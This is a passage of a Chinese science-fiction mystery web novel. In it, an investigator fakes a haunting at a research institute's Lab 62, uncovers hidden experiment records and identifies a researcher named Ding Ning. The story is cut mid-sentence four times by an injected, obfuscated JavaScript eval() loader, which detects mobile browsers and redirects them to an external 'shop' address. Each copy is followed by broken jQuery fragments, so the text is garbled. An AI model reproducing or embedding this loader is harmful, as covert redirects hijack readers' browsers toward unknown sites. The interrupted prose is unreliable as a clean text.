她们本来在低声讨论她早晨的壮举,一看到有人靠近又立刻假装没事人一样聊起别的话题。 李琢光藏在口罩下的嘴巴微微勾起。 果然有很多人曾见过、听过六十二号实验室的「传说」,甚至也许深受其害。 但碍于严厉管理,不敢宣之于口。 她们现在只缺一个出头鸟。 李琢光就是这个出头鸟。 很快,她就找到了六十二号实验室,实验室没有被废弃,根据门口的牌子,它们仍负责一些基础地质检测。 她透过门上开的小窗看到实验室中有一名研究员值班,此时正一边吃饭一边在终端的虚拟屏幕上看直播。 * 这是小张连续值班的第三天。 本来她该和同事交接,不过这几天同事家里有事,和她换了下周的班次。 同事神神叨叨地嘱咐她晚上准备一些防身的武器,她不太明白为什么需要防身,但还是听话地在身边放了一些刀具,顺便还能用来切水果。 她的异能是尖刺化,现在大众对异能的态度并不友善,认为使用异能会加速失去理智的速度,她也不例外。 她做完一轮观察记录后,便坐回原位,补起喜欢的主播重播。 研究所的夜里安静得如同一片虚无,小张含着一口菠萝,紧张地回头,调低了视频音量。 今天格外不一样,小张说不出哪里不一样,也许是早晨那个疯子提了些关于六十二号实验室的东西。 信那个干什么?她是坚定的唯物主义者! 用力眨了眨眼睛,她努力将精神集中在眼前的视频里。 过了半分钟,她又把音量调低了一点。 好像有人在看她? 余光中有一抹黑影静静地扒着实验台的边缘,仿佛是被蛇从脚腕处缠上,黏腻而冰冷的触感刹那间蔓延至全身。 她猛地回头,以为有黑影的地方什么都没有。 身后没有人,门外也没有人。 很好。 很安全。 她的腿不自觉地抖起来,感觉自己的嘴唇与舌头有些发麻。看了眼时间,距离上次观察记录才过去五分钟。 今天时间怎么过得这么慢?她以为已经过去半小时了。 “有进入申请待处理。” 小张被突然响起的冰冷机械声吓得呛住,猛烈咳嗽到脸涨得通红。 她抽了两张纸捂住鼻子,走到门前,先从门上开的小窗户里看出去,却见不到任何人影。 她打开监视画面。 彩色夜视仪中的画面完全被一片白色覆盖了,意料之外的画面让小张心慌。 她的呼吸有点抖,刚才呛进鼻腔里的汁水刺激得她鼻酸眼胀。 正鼓起勇气凑近观察有什么奇怪的东西,影像忽然动了。 小张的头往后仰了仰,脸上显出苦相。 白大褂慢慢往旁边移动,纽扣中轴线出现在影像中,下一秒,小张就与那缝中的一只眼睛对了个正着。 “**!” 她脱口而出一声尖叫,脑袋嗡得一声空白,噔噔噔往后退了好几步,撞倒了一张椅子。 不知在原地喘了多久的气,她才终于想起扑到墙边,疯狂拍打门边的报警按钮,不知道情急之下拍到哪儿,实验室里的灯被她拍灭了。 她一下跳起来,转过身背部紧贴墙壁,手上拍打报警按钮的动作一直没有停下。 “接啊!接电话啊!” 小张一张脸苍白到泛出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14026448|148774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些青紫,嘴唇止不住地颤抖着。 可是报警按钮一直没有弹出安保回应的视频通话,她不知道是因为安保在摸鱼,还是因为外面的鬼把信号屏蔽了。 她眸中的希望渐渐淡去。 今天就要死在这里了吗? 一行清泪从颊边滑落,她再次抬头看了一眼虚拟屏幕中夹在缝隙里的眼睛,那眼睛正在转动,似乎在奇怪为什么实验室里的人不开门。 她的目光逐渐坚定下来。 反正被困在里面是死,出去也是死,她一定要拉上这个鬼和她一起死! 她恨恨地最后锤了一拳按钮,心里暗骂一声没用的安保,拿来她准备好的武器。 正对着试验室的门深呼吸、又深呼吸,带着视死如归的神情打开了门。 她没有任何战斗经验,只是对着左边空气一顿乱砍,嘴里胡乱说着“要死一起死”和一些给自己加油打气的吼叫。 许久,没有感受到被攻击的小张小心翼翼地睁开眼,看到走廊里除了她以外空无一人。 来不及想是为什么,脑子里冒出的第一条指令是逃命,她调头拔足狂奔,给路上每一个实验室都发送了进入申请以及猛拍十几下门板。 尽管实验室的隔音非常好,也架不住小张在肾上腺素的加持下疯狂砸门。 “大半夜的吵吵什么呢?” 随着她身影的奔跑,实验室的门一个接一个地开了,值班的研究员们探出脑袋。本来值班就火气大,此时更是不耐烦。 小张抓住她熟人同事的袖子,在剧烈的奔跑与紧张害怕后,缓过神来时才发觉腿已经完全使不上劲了。 “怎么了,你别慌,大家都在这呢。” 同事扶住小张,温和地拍着小张的背,语调平稳,慢慢将小张的情绪平复下来。 研究员们都待在自己负责的实验室门口而没有聚过来,但被同类生物的视线包围、手里握住温热手掌的实感让小张感到前所未有的安全感。 她的眼泪倾泻而出,指向六十二号实验室的手抖如筛糠,担心自己的声音也会因发抖而说不清,所以一字一顿地高喊: “六十二号实验室,闹鬼了!它、它、它不见了!!” “你报告安保了吗?”同事皱眉,也不知她是信还是不信。 小张不断点头:“报告了,但是安保不回复我,不接我电话。” 她使劲往同事的怀抱里缩,语无伦次:“是真的,你可以去看六十二号实验室的门铃监控,它有眼睛!但是我出来以后它就不见了。” “好了好了,你逃出来了,没事了。”同事抱住小张,用手势示意对门的研究员报告安保。 对门的研究员回了实验室,片刻后,她走出来,面带疑惑:“提示我安保已离线!” 如果说先前对小张的行为只是看戏心态,觉得这小姑娘胆子太小不适合值班,那么听到安保已离线时,全场哗然。 大家纷纷回到实验室里发消息向他人询问或是试图联系安保,多人值班的实验室分出几人下楼查看。 很快,下楼的那部分研究员带着惊惧折返。 “紧急通道的门打不开!” “哪儿有斧子?锤子也行,我们去把门砸开啊!” “信号没了!我消息发不出去,你们呢?谁消息发出去了?” “没有!” “完了……六十二号实验室的传闻是真的……” “天呐,不会是那个传言?” “那要是真的我们今天谁都活不了!” 一时间纷繁嘈杂,乱成一团,无人注意到六十二号实验室的门早已静悄悄地合拢。 8. 地质研究所(八) 李琢光知道自己时间不多,外面的人很快能反应过来,回头查六十二号实验室。 她迅速翻箱倒柜,把所有觉得可能有用的文件都夹进裤子的腰带里。 她在来六十二号实验室前先去了一趟椿好办公室,搜刮了一圈她认为能派得上用场的东西。 椿好把办公室的钥匙给她了,让她自便。 她拿了一盒发卡、几支笔、一把折叠小刀和一盒提取自异能者的基因注剂。 最后一个东西李琢光不知道为什么椿好会放在办公室,不过看在是光明正大放在桌子上的,那应当是特意为李琢光准备的。 基因注剂能让人短暂地拥有相应的异能,李琢光用过,但改进后的版本副作用仍然很大,更何况这还是最早期的版本,她怕她在这儿用完就嗝屁。 不过,基因注剂还有别的作用。 她将基因注剂均匀地涂抹到紧急通道大门的背面,阖上门等待片刻,果然听到门外传来黏黏糊糊的声音。 从门缝中可以看到,史莱姆覆盖了整个大门。 史莱姆消化基因注剂的速度很慢,今晚是没人能从四楼离开了。 一个问题解决了。 李琢光根据记忆中的布局找到四楼的供电中枢,切断所有连接安保室的通路,写了一段信号屏蔽器和定时关闭电路的程序,最后用发卡卡住供电中枢的门锁。 很好,完美。 今晚四楼所有研究员都要亲眼见证闹鬼的六十二号实验室。 在六十二号实验室的值班人员跑出来的时候,李琢光就偷偷溜进了实验室,她大约扫了一眼冒出头的值班人员,心里盘算着下一个受害倒霉蛋该选谁。 她抓紧时间把资料都收拢,瞥了眼外面的进度,大概是研究员们觉得都要死了值班还有什么用,正聚在一起商量办法。 应该快来搜查六十二号了。 李琢光将实验室内所有柜子下方的柜门打开,意料之内没有看到任何通道,唯有中间的柜子里什么都没有。 幻境前摇的柜子,反而是只有中间的有东西。 她随意挑了几个文件翻看,都是重启实验后的记录。 来不及了—— 她一抬头,就看到外面那群人准备往这里走来了。 李琢光连忙把文件都扔了一地,躲到实验桌下。 门外的研究员们各自都拿着武器,由几个看着很强壮的人领队,蹑手蹑脚地走进来。 李琢光找了一个能看到她们、但她们看不见自己的角度悄悄观察,估算着她们的实力,而后缓慢地绕着障碍物移动,向门口靠近。 “有人进来过了!”有人发出惊呼,“谁看到过?” 她身后响起稀稀拉拉的应答,都是回答“没有”。 “我去,我先去把我值班的实验室门关上,别一会儿跑那儿去了。” “我也去……” 她们身后的人瞬间走了大半。 那个在六十二号实验室里值班的女人似乎恢复了一些活力,她捡起地上的文件,倒吸一口冷气:“中间的柜子里文件全不见了!” “中间的柜子放什么文件的?”打头的女人问。 研究员说:“就是……就是那时候六十二号实验室的实验记录。” 她说得很隐晦,但在场人都明白了。 先前安慰研究员的同事开口:“那些文件不都归档了吗?是李琢光负责的吧我记得。” “是,负责完就疯了的李琢光。”有个男人幽幽补充道。 研究员摇摇头:“归档的是每个实验结束后都需要归档的过程记录,正常流程,这个柜子里装的是那个实验的结果数据,就是防止终端连不上网时救急的。” 没想到,这话反而让同事感到奇怪:“我们的数据都只有电子版,顶多拷在移动终端里保存,从来没有用纸记过。” 研究员也愣住了:“不怕数据丢失吗?或者被别人盗走?” “我亲爱的祖奶奶,敢问你活在什么年代?终端被发明出来已经过去几百年,那些问题早就不是问题了。” 同事拍拍研究员的脑袋,想看看她脑子里都是些什么。 “可是——”研究员连忙从口袋里掏出研究员手册,翻了几页,将手册递到同事眼前,“你自己看嘛,手册上是这么写的!” 在场的研究员都好奇地凑过去看,无一例外地都面露惊愕。 研究眼为了展示手册,转过身来正面对着李琢光。 李琢光看清她的脸,瞳孔瞬缩。 是上午撞倒她的人。 李琢光记得她名牌上的名字是……张娇骄。 “你的手册怎么和我的完全不一样?” 陆续有人拿出自己的研究员手册,张娇骄刚看了两行,刚红润了没多久的脸色再次苍白。 李琢光已经趁着她们注意力都在研究员手册上时溜到门边了,离开前多看了一眼那些人手里的手册。 张娇骄的研究员手册是黑白条纹封皮,而其她人的都是白色封皮。 李琢光来不及留在原地看更多的细节,先溜走查看资料、找出制服空间异种的办法才是要紧事。 “什么人!” 有人看到李琢光掠过的身影,急急喊了一声,但众人追上去时,走廊里已经没有人了。 “是那个吧……”说话者声音颤抖,一屁股坐到地上,一股腥臊味溢出。 李琢光躲进椿好的办公室,顺手反锁上门,打开小台灯。 她抽走文件的依据是时间,主要找的是与那个实验相匹配的时间节点,还有一本记录历代组员的人事变动手册。 那个实验发生时间是眼下的一年前,那时候哪怕对生命受到辐射后变异的了解都还很浅显。 李琢光的呼吸顿了一下。 她忽然有点不想阅读这些资料了。 在所有人还在探究变异为何物的时候,就有人先一步压下了死物会变异的消息,直到四十年后都不露马脚。 ——是不露马脚,还是把可能知道的人全杀了? 她舔了舔嘴唇,心跳清晰可闻。 其异心可见一斑。 干完这单她就要快乐辞职了,还是不要沾上什么麻烦为好…… 不知为何,她忽然从这一念头中嗅得一丝违和。 违和感一旦冒出一点头,李琢光轻轻一揪,整个假象就碎裂了。 是了,她才六十三岁,在人均寿命三百多岁的星际中,她的人生才刚刚开始。 想当初为了当上晴山外勤队的队长,每天只睡四个小时,连异能者都练不了一个月的训练强度,她咬牙坚持了九年。 把这一身份视作人生唯一意义的她怎么会突然想辞职呢? 李琢光心跳如鼓,肺部像用棉絮堵住出口,一股气吸进去却吐不出来,背脊被一阵彻骨寒意爬过,爬上她的后脖颈,头皮瞬间麻了一半。 办公室内的温度和煦如春,而她却如坠冰窖。 有人在操控她的人生。 有人在阻止她接触这一切。 为什么是她? 比起十级异种举手投足间就可以摧毁一座城市,她明明是最无害的存在。 李琢光看着手中的纸张,垂眸思索良久,开始认真阅读。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14026449|148774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一年前的记录大多是一些李琢光看不懂的数据分析,但即使是她这样的外行人也能看出一丝端倪。 在研究人员π+激素和辐射波动那两列中,在经历一天工作后,她们的该项指标都进入一个小高峰。 π+激素是异能者身体中控制异能的部分,激素水平越高,代表异能者将能使用更高级的异能,同时辐射波动也会更剧烈,更容易失去理智。 不过由于当时认知受限,结论是该实验可能导致寿命缩短。 再结合人事变动表上频繁的变动看来,多半都是误会了寿命会减少。 她比对着两份资料,发现有许多人做过对比包围仪器前后土壤成分异同的实验,只是没有做出结果,就因各种原因被换了工作。 但有一名实验员一直做到现在。 丁柠。 李琢光的手指落在那个名字上。 根据手里的证据推测,能够杀死或是遏制柜子复制的方法就藏在土壤成分中,或许正是那个变少的成分。 她翻过这张纸,下一张纸又将她定在原地。 这是柳一作为实验品,被注入复制基因的档案。 她深呼吸平复心情。 真的没办法再用代入感那套说辞说服自己了。 她把柳一的档案放进口袋里,确信自己没有漏掉任何信息,便划出丁柠的名字,以及那招致多名实验人员被调换的实验,然后将资料压到桌上的文件底下。 李琢光打开办公室的门,远处晃动的手电筒让她又缩了回去。 巡逻的研究员们走近了。 “我们要不然去供电中枢和椿总办公室看一眼?” “等明早吧。”这是一个低沉的女声,听起来有些年纪了,“万一明早大家出去了,私自开门要受处分的。” “怎么这么不讲理啊……这不是紧急情况嘛?” 一群人走远,过了一会儿,又有一些人走近了。 “所以六十二号实验室到底发生过什么啊师姐?” “不……” “师姐——”女孩拖长声音撒娇,“就算是满足我们死前最后的心愿了。” “……好吧。” 她们从办公室前走过去,无人注意到虚掩着的房门。 李琢光放轻脚步走出来,关上门,看着几人的背影走远。 “其实也就是一年之前的事。”被围在中间的师姐心不在焉地用手电筒巡查周边,她的声音很温柔,如同在讲睡前故事。 “……大家下定结论,认为是辐射中某种成分与柜子成分起了化学反应,导致其自动分裂,这才复制出好几个,不过听说这个结论没写进报告。 “后面发生了什么我也不太清楚,总之最后,大家觉得这个实验会危害研究人员的寿命,便联名上书叫停了。” “师姐,丁师姐是不是唯一一个在重启前后都一直在的研究员啊?”有个模样稚嫩的男生问。 “对。”师姐点点头,“不过因为她一直是异能进化派,不觉得辐射波动高会缩减寿命,所以她没提换小组也是情理之中。” “诶,师姐你说异能真的代表了人类进化吗?” “……谁知道呢?”师姐转过头,她略带忧伤的目光投在紧急通道的大门口,“就算有异能也逃不出去。” 紧急通道处仍有人在尝试,金属碰撞的火光此起彼伏。 大门上已然面目全非,却未被撼动分毫,甚至那因攻击凹陷的地方又会很快鼓起。 师姐还欲继续说,身后冷不丁传来一声冷笑。 她们猝不及防地回过头,便见一个没见过的人站在不远处。 9. 地质研究所(九) 手电筒的光瞬间全打在那人脸上,可即使是这样猛烈的光亮,那人也没有动一下眼睛。 有人认出她,举着手电筒的动作都开始发抖:“李……李琢光……” 师姐走到最前方,伸出手挡住身后的研究员,她额头滑下一滴冷汗,却还是强撑着问:“你、你什么时候来的?” 听到那句“李琢光”的人都聚上来,纷纷摆出准备攻击的姿态。 李琢光这时才装模作样地举起手挡光,闲适地勾着嘴角:“冷静点,别那么紧张。” “你是什么时候来的!”师姐重复了一遍问题,她紧张地咽了口口水。 “我?”李琢光惊讶地睁大双眼指指自己,“你在问我还是李琢光?” 师姐微不可察地退了半步:“你不就是李琢光?” “当然不是啊。”李琢光仿佛听到了什么极为可笑的笑话,“李琢光现在在宿舍睡觉呢。” 身后有更多人围上来,师姐有了些底气,声音也洪亮了许多:“那你的理智还是满的吗?” “我的理智一直是满的。”李琢光挑起半边眉毛,眼神中透露着戏谑,“如果不是,你觉得我在这期间会遇到什么,能让我理智减少?” 师姐被噎住了,她身侧另一位女性开口问:“所以你真的不是李琢光?那你怎么会和她长得一样。” 话音刚落,她就像意识到什么一样捂住嘴。 李琢光恍若未觉,竖起食指抵在嘴唇边,露出一个神秘的笑容:“偷偷和你说,你别告诉她,她不知道我的存在。” 便见那女人倒吸一口凉气。 人群中不知是谁低声说了句:“果然六十二号的传闻是真的……我们也会被复制吗?” “别瞎想!” 应当是今晚值班人员中资历最老的女性高喊一声,目光不善地盯着李琢光。 “我不管你有什么企图,如果你敢伤害大家,就别怪我对你不客气。” 她身侧两个人手掌中闪起噼里啪啦的电光,警告之意不言而喻。 李琢光高举双手做投降状:“当然。说起来,我从来没走出过这里,也是第一次见有人来陪我,你们都算我的客人。” 她侧过身子,展开手臂,俨然一幅主人的模样:“有什么需要帮助的,尽管问就好了。” 她的话让在场人再次确信六十二号实验室的传闻是真实的,面对看不明晰的未来更是绝望。 当下,就有人动起自我了断的念头,被那位高资历女性制止。 她说:“起码等个二十四小时,确定是不是真的出不去再考虑这些身后事。” 女人在这些人中的确很有话语权。 于是抱着如此一线希望,那些人停下动作,却也双目无神地坐在墙角。 这边,六十二号实验室的值班员也开始作为主力询问李琢光问题。 她们希望从这位李琢光身上找到一些逃离的方法。 “为什么你知道那个李琢光的存在,那个她却不知道你呢?” 经过一阵讨论以后,女生问出第一个问题。 李琢光开口:“如果有天你见到另一个张娇骄,而她没发现你,你就会知道这个问题的答案了。” 嗯,很好,这个高深莫测的复制人人设应该立住了。 张娇骄清清嗓子,强装冷静:“那你和那个李琢光有什么不一样吗?” 李琢光耸耸肩:“她不会被困在这里出不去。” 接下去,二人一问一答,李琢光答得滴水不漏,把「她们可能也会像李琢光一样困在这里出不去」的念头牢牢打在她们心头。 李琢光颇有成就感地看着研究员们都一幅垂头丧气的模样,转头就又挂起笑脸,温柔和善地安慰她们。 前半夜刚结束,她就已被大部分研究员当成主心骨了。 那位高资历女性抱胸站在远离人群的地方,她的目光一直很冷静,在周围人绝望的映衬下,甚至有些不近人情。 李琢光走近她,她眉头飞快地皱了一下,然后摘下了胸口的名牌。 “您看起来一点都不害怕。”李琢光同她搭讪。 女人从鼻子里哼出一口气,权当作是回答了。 “其实我很羡慕外面的我。”李琢光自顾自地说起来,也不管女人想不想听,“她可以去她所有想去的地方,做所有她想做的事。 “这大概就是属于本体的特权,对吧? “诶,你说,这事儿要是真的,那要杀死我们这种复制体,是算杀人,还是救济呢?” 不知哪个关键词戳中了女人,她终于舍得施舍给李琢光一点目光。 李琢光透过紧闭的窗户远望着已经尽数熄灯的宿舍区:“可是那个李琢光不是有意识地复制,而是被那些柜子影响,我也没做过坏事,还有意与她避开。 “我也想活着。” 女人凝视着李琢光的侧颜,那目光如同郁郁不得志的成年人看向公园里无忧无虑堆沙堡的小孩。 过了许久,她微微张嘴:“你和芮礼说的不一样。” 听到芮礼二字,李琢光不自觉地挺直脊背,心跳开始加速。 “我们不是同事么,怎么还需要别人告诉你?” 她记得在椿好的桌上瞥见过名单,芮礼与李琢光一样,都是六十二号实验进行时的人员。 但芮礼只做了半年不到就辞职了,而李琢光转成椿好手下的员工。 “不是。”女人的嘴角上扬些微,“我的异能是对自己身体的完全掌控,你知道这意味着什么吗?” “……什么?”李琢光没意想到女人话题转变得如此生硬而突兀,但还是配合地询问。 “这意味着——”女人眼中戏谑愈浓,“我可以知道现在的我是真实的我,还是在其她幻境异种手中捏造出来的我。” 李琢光呼吸一滞,随后心跳飞快地跳动起来。 女人的言下之意是—— 作为地质研究所的研究员,她知道芮礼,却不知道李琢光。 所以自己所自以为的,这个异种为了让她增强代入感而将身边相同关系的人捏造进幻境,是完全错误的。 芮礼就是芮礼,芮礼的照片是真实的。 在这个幻境中,有捏造身份的只有她一个而已。 所以……柳一的档案也是真实的。 刚进入幻境时那个眼熟的身影,会不会就是芮礼?! 李琢光恨不得回到那时候去,掀开那人的口罩看个清楚,可惜已经来不及了。 女人就像不知道自己给李琢光造成了多大的震撼:“我只想提醒你,小心芮礼。” 李琢光退撤半步:“芮礼是我从小一起长大的青梅,我们知根知底,我觉得更需要提防的人是你。” 女人不置可否地笑了一下,也并没有因为李琢光的质疑而生气,反倒平和地说:“没关系,这只是一个建议。 “只是就我与她做同事的这短短半年看来,她是一个实打实的危险人物。 “六十二号实验室被叫停有她的一份功劳,乃至于后来地质研究所被废弃,我也觉得多半也是因为她造成的蝴蝶效应。” 李琢光沉默。 芮礼在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14026450|148774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮助她振作起来以后没多久,就因为高等级以及非常特殊的异种被收编。 后来她辗转于各大星球的研究所之间,协助研究所建设基于异种的新系统,大约有十一年的时间。 她是在李琢光拿下清剿队队长的第二年回到晴山总部的。 她很开心地发现李琢光实现了自己的梦想,然后主动加入了当时等级才三级的小队。 也许她真的来过这里,可是她从来没提过类似的事。 李琢光不愿意去想芮礼和隐瞒死物变异有关的可能性,更何况那时候的她才刚大学毕业,怎么可能和这种阴谋扯上关系呢? 她长长地喘了一口气,气尾时含着丝丝颤抖。 女人看出李琢光的挣扎,也不抓着这一点不放,而是贴心地换了个别的话题:“小马不知道当初为什么要叫停实验,你想知道吗?我可以告诉你。” 李琢光藏在身侧的手握紧成拳,须臾后放开,她问:“你想要什么?” 女人转了转手腕,她露出了目前为止弧度最大的笑容:“我希望你可以放那个幻境异种一马。” 李琢光缓慢地摇头:“我是晴山集团异种清剿小队的队长,我的职业守则告诉我,如果该异种是可消灭的,那么必然要进行清剿。 “若该异种不可消灭,则羁押于羁押室内,回到总部处理。 “所以,同志,所有于此出现的异种都将被消灭,恕难从命。” “好吧。”女人没再坚持,“虽然大家都说当初是因为觉得辐射波动会有害寿命,但你知道的,刀子不落在自己身上都不知道疼。 “一开始研究员联名上书的请求被驳回了好几次,理由都是既然做了这一行,那就要承担相应风险。 “于是联名信的措辞改成,希望能将接受这一前提的研究员换来做实验,这一次没有被驳回,但搁置了很久也没有同意。” 她微微偏过头:“你知道芮礼做了什么吗?” ……还有互动环节? 李琢光根据芮礼的性子猜测道:“和我一样的事?” 女人竟很愉悦地笑开了:“要不然你和她是青梅呢。 “——是的,她做了和你一样的事,让六十二号实验室闹鬼。后来由于消息被各种镇压,就演变成了那些传闻。” “那研究所废弃又是什么原因呢?”察觉到女人的姿态似乎放松了一些,李琢光追问道。 女人将重心换到左脚:“当然是因为……没有研究员了。” 李琢光双手扣到一起:“是我理解的那个「没有研究员」吗?” 女人眼瞳中映照着不远处实验室的灯光,就像一簇正在熊熊燃烧的篝火:“我怎么知道你心里在想什么?不过你那么聪明,想到的肯定是对的。” 李琢光快速地笑了一下,试探道:“怪不得你会希望我留下那个幻境异种。” 女人:“……” 她没有应答,但回避的目光与转身动作都出卖了她。 李琢光心里想的是「死光了」。 看女人的反应,她就知道自己猜的一定是对的。 但她回忆许久,也没想起那时候是否有类似的新闻。 若是研究所一整个团灭,那绝对会霸占社会新闻头条起码一周。 那压制死物异种消息的人要是有如此大的能量,反而是缩小范围了。 只是不知道,女人是丧生人员之一,还是幸存者之一。 李琢光最后看了女人一眼,礼节性地欠身,嘴角勾起一个浅淡的笑容。 “谢谢您的耐心解答,丁柠同志。” 10. 地质研究所(十) 丁柠并没有因为身份被识破而做出什么剧烈反应,只是面露失望地将名牌重新别回胸口,然后调整一下歪斜。 猜到她是谁并不难,毕竟她是唯一一个在实验室重启前后都在的研究人员,也只有她能对来龙去脉知道得如此清楚。 看着时间,后半夜也快结束了。 θ-3709-1的夜晚很短暂,差不多标准时间凌晨五点左右,地质研究所这里就能看到恒星升起。 θ-3709-1没有大气层,也就看不到绚烂的晨曦。 恒星慢慢从东边爬上地平线,研究所墙上贴着的屏幕展示出室外温度攀上四十摄氏度。 一直紧贴在门上的史莱姆消化完基因注剂渗回墙壁中,正在轮番破门的研究员避之不及,一记重拳下去,直接把门板砸飞了。 “门开了!”那人撕扯着喉咙大声吼着,兴奋到呲目欲裂,他迫不及待地就往楼下冲去。 李琢光周围的人群也纷纷连哭带笑地离开,只有张娇骄落后一步,担忧地看着好似事不关己的李琢光:“你呢,不和我们一起下去吗?” 李琢光摊手:“我下不去的。” “要不要再试一下呢?” 也许是一晚上李琢光对她们的体贴关怀起了作用,她那神秘莫测却因限制不得不牺牲自我的复制人人设深入人心。 张娇骄想带着李琢光一起离开的希望到达顶峰。 “不了吧。”李琢光抬起手,似乎想揉张娇骄的头顶,但最后却只克制地拍拍的肩膀。 李琢光眼中充斥着无奈而了然的苦笑,她什么都没说,推了一把张娇骄的后背,丁柠就顺着这力气将一步三回头的张娇骄拉走了。 张娇骄咬牙与丁柠说着“一定要把这个事儿解决了放她自由”,丁柠有一搭没一搭地应着,没人发现李琢光正在修复大门。 那盒基因注剂中最后剩下的一支是金属修复,李琢光先往墙壁上不显眼的地方插上一把小刀,而后将大门扶正,在断裂或凹陷的地方都涂抹上注剂。 插上小刀后可以保证史莱姆无法出现,那些注剂开始发挥自己的作用。 李琢光没有等在原地看着大门修复的结果,她拔出小刀。 研究所外是真空,因此破窗而出这一选项不再考虑范围之内。 所以她回到中控室,恢复切断的通路,关掉她写好的程序,清理掉自己在系统中所有的痕迹,顺手把监控录像也清空了。 监控录像是每日早晨七点上班后上传至中央系统,那就不必黑入中央系统了。 做完这些,她收拾好东西准备跑路。 她看到电梯停留在一楼,一直显示「等待指令中」,片刻后,那行字消失了。 李琢光在楼梯口听到一楼传来吵闹的声音,但楼梯间回声太大,只能分出一些人在吵、几个比较低的声音在无力地劝阻。 她从监控下走楼梯到三楼,躲在走廊里,三楼值班的研究员还没到换班时间,实验室隔音又好,没人发现外面正上演一出大戏。 听着安保重复着“怎么可能”之类的话,声音往上离去,最后爆发出一声尖叫。 “门好了!” “在几分钟之内被你们打烂的门就恢复原状了?亏你们这些高学历研究员能说得出这种话。” “唉,所以说,就根本就没有闹鬼一回事啊。” “你说我们三十多个人都为了好玩骗你?” “啧,那怎么就你们碰到了,一到三楼都没事。是不是你们自己在搞什么违规操作?” “唔呃——” “诶诶诶,姐,冷静!” 夹杂着痛吟与衣料摩擦的兵荒马乱之后,属于那位师姐的冷静声音响起: “那我们就调监控。” “对,调监控!今天这事儿不可能就这么算了!” 安保沉默。 听她们的语气已然极度疲惫,大概是被直接从睡梦中拽起来的。 可是正经有编制的研究员可比她们有话语权得多,几番犹豫后,听到一个安保答道: “这个得上报。” “报就报!”是张娇骄的声音,她语调中带着哭腔,“李琢光真的不见了,怎么办啊丁姐,真的没法把她救出去吗?” 丁柠的回答李琢光没听到,因为她已经回到一楼了。 在看到无人守在门口后,她大摇大摆地走到大门口,然后假装自己刚从门外进来,在一楼乱晃,被安保室里尚还在惊恐的研究员们发现了。 “李琢光?你也下来啦!” 说话的女生李琢光没什么印象,但好像和张娇骄的关系很好。 李琢光像昨晚那样,露出茫然的神色,指着自己反问:“我?我们认识吗?” 安保室里的研究员蹭地站了起来,把李琢光吓得猛地后退。 她警惕地看着这些人,不断地回头,估量自己与出口处的距离。 “等等——我们没有恶意!”女生一时间有些手足无措,又是举手投降又是原地踱步的,“你昨晚在哪?” 李琢光像在看一群奇怪的疯子:“在我的宿舍里睡觉啊,我又不用值班。” “你还记得昨天早晨发生了什么事吗?”女生身后走上来一个戴着无框眼镜的男性这么问道。 李琢光撤身躲避他的接近:“昨天早晨……”她浑身打了个寒战,像是想起了什么很恐怖的事,目光都呆滞起来。 “昨天早晨我看到椿总被她办公室里的柜子吃了,但是下班的时候我又看到她了。 “所以,所以我就告诉自己……呃,告诉自己说,什么来着…… “哦对了,告诉自己,早上的只是我的错觉,然后我就回去睡觉了。” 她的状态显然称不上是正常,而更像在药物治疗后暂时忘记了那段记忆,而现在,男人让她强行想起。 这时,在四楼的众人也下来了,她们看到李琢光也都是如出一辙的表情。 张娇骄“呀”了一声小跑过来,她脸颊上残留着泪痕:“你下来啦!” 李琢光看向她的视线却是陌生的:“嗯?你不是昨天撞到我的那个人吗?” “啊……”张娇骄的动作顿在原地,她没想到李琢光会是这反应,浑身一副不知该如何接下之后动作的尴尬, 最高最壮的安保回到安保室里上报上级,剩下两个拖着疲惫的身体安抚研究员——现在还多了个李琢光。 没过多久,里面那个安保出来说上级通过了查阅监控的请求,监控视频过几分钟就会发过来。 五分钟过后,视频没有送达。 开始有研究员质疑传个视频要多久,被安保用任务排队搪塞过去了。 十分钟、十五分钟、二十分钟…… 研究员等得越来越焦急,直到三十分钟后,来上班的研究员陆陆续续进了研究所,好奇地过来与相熟的人询问发生了什么事,那安保才突然说视频收到了。 大家一窝蜂地进去看视频,把狭窄的安保室挤得满满当当,有不少人挤不进去,便在后方伸长脖子,努力想看到。 “嘿,你看,我就说有人装神弄鬼!”安保回过头,怒容瞪视不远处的李琢光,“昨天她就在那儿发疯了,你们居然还相信她? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 